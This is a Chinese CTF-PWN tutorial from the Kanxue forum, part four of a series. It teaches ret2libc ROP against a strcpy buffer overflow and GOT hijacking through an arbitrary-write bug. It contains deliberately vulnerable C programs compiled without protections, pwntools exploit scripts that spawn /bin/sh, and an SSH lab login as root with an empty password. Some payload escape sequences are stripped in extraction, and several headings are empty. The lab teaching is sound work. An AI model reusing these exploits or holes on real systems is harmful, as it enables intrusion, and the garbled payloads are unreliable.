本文为看雪论优秀文章
看雪论坛作者ID:dxbaicai
一、教程说明
1.1 历史回顾
从0开始CTF-PWN(一)——基础环境准备
从0开始CTF-PWN(二)从PWN的HelloWorld-栈溢出开始
从0开始CTF-PWN(三)没有system怎么办?构造你的shellcode
1.2 本节说明
二、环境说明
2.1 环境设置
2.2 编译源文件
-
-m32:使用32位编译
-
-O0:关闭所有优化
-
-g:在可执行文件中加入源码信息
-
-fno-stack-protector:关闭栈保护
-
-z execstack:启用栈上代码可执行
-
-z norelro / -z relro -z lazy / -z relro -z now (关闭disabled / 部分开启Partial / 完全开启Full)
三、ROP绕过栈可执行保护
3.1 pwn_test_bof2.c程序
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
char buf[128];
if (argc < 2) return 1;
strcpy(buf, argv[1]);
printf("Input:%sn", buf);
return 0;
}
gcc-4.8 -g -m32 -O0 -fno-stack-protector -o pwn_test_bof3_32-gcc4.8 pwn_test_bof2.c
3.2 什么是ROP
3.3 开始构造特殊的栈结构
system("/bin/sh");
return xxx;
3.4 攻击思路
-
找出buf变量地址。
-
找出main函数返回地址。
-
计算面函数返回地址与buf变量地址2者的偏移量,用于填充padding。
上述三步与前一节一致 -
找出libc中system函数、"/bin/sh"地址。
-
padding后填充addr(system) + 4位任意地址 + addr(/bin/sh)
开始调试
gdb -q -args ./pwn_test_bof3_32-gcc4.8 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
starti
运行
r
查询关键system
print system
查询/bin/sh
"/bin/sh" find
# 执行
./pwn_test_bof3_32-gcc4.8 $(python -c 'print "a"*140 + "xf0Exe1xf7" + "1111" + "x06x84xf5xf7"')
3.5 pwntools实现
# coding:utf-8
from pwn import *
context(arch='amd64', os='linux')
# 注意系统重启后地址可能会发生变化,需要重新获取
system_addr = 0xf7e145f0
binsh_addr = 0xf7f58406
payload = "A" * 140 + p32(system_addr) + "1111" + p32(binsh_addr)
p = process(argv=["/home/pwn/test/bof/pwn_test_bof3_32-gcc4.8", payload])
p.interactive()
四、GOT劫持
4.1 GOT表介绍
知识点2:
GOT劫持2大要素:GOT表可写(checksec显示RELRO/disabled且Flg标志位显示为WA)与内存漏洞。
4.2 GOT表劫持核心思想
4.3 GOT表查看方法
readelf -S
objdump -R got_hacking_32-gcc4.8
hex(elf.got["printf"])获取printf在GOT表的地址
4.4 got_hacking.c程序
void win() {
puts("You Win!");
}
void main() {
unsigned int addr, value;
scanf("%x=%x", &addr, &value);
*(unsigned int *)addr = value;
printf("set %x=%xn", addr, value);
}
gcc-4.8 -m32 -o got_hacking_32-gcc4.8 got_hacking.c
4.5 程序分析
(unsigned int )addr — 将addr强制转化为指针类型,此时(unsigned int )addr表示的是内存地址addr
(unsigned int )addr = value; — 将内存地址addr处的内容改写为value
所以这里存在4字节=32bit的任意内存写入漏洞。
4.6 攻击思路
读取办法1:gdb中打印
p win
外部读取
objdump -d got_hacking_32-gcc4.8|grep win
objdump -R got_hacking_32-gcc4.8
objdump是linux反汇编指令。
-d(disassemble): 可以显示反汇编后的汇编代码。
-R(dynamic-reloc): 显示文件的动态重定位入口,可以用于查找libc等共享库。
# 输入addr(printf)=addr(win),注意这里的地址不同环境不同
0804c00c=0x804918d
4.7 pwntools实现
# coding:utf-8
from pwn import *
context(arch='amd64', os='linux')
s = ssh(host="10.211.55.6", port=22, user="root", password="")
p = s.process(argv=["/home/pwn/test/got_hacking/got_hacking_32-gcc4.8"])
elf = p.elf
# 获取win函数地址
win_addr = hex(elf.sym['win'])
# 从got表中获取printf函数地址
printf_addr = hex(elf.got['printf'])
print ("win_addr: {}".format(win_addr))
print ("printf_addr: {}".format(printf_addr))
payload = printf_addr + "=" + win_addr
print ("payload: {}".format(payload))
p.sendline(payload)
# 打印输出win
print (p.recvall())
看雪ID:dxbaicai
https://bbs.pediy.com/user-home-868728.htm
*本文由看雪论坛 dxbaicai 原创,转载请注明来自看雪社区。
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!
本文始发于微信公众号(看雪学院):从0开始CTF-PWN(四)ROP绕过栈可执行保护与GOT表劫持
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论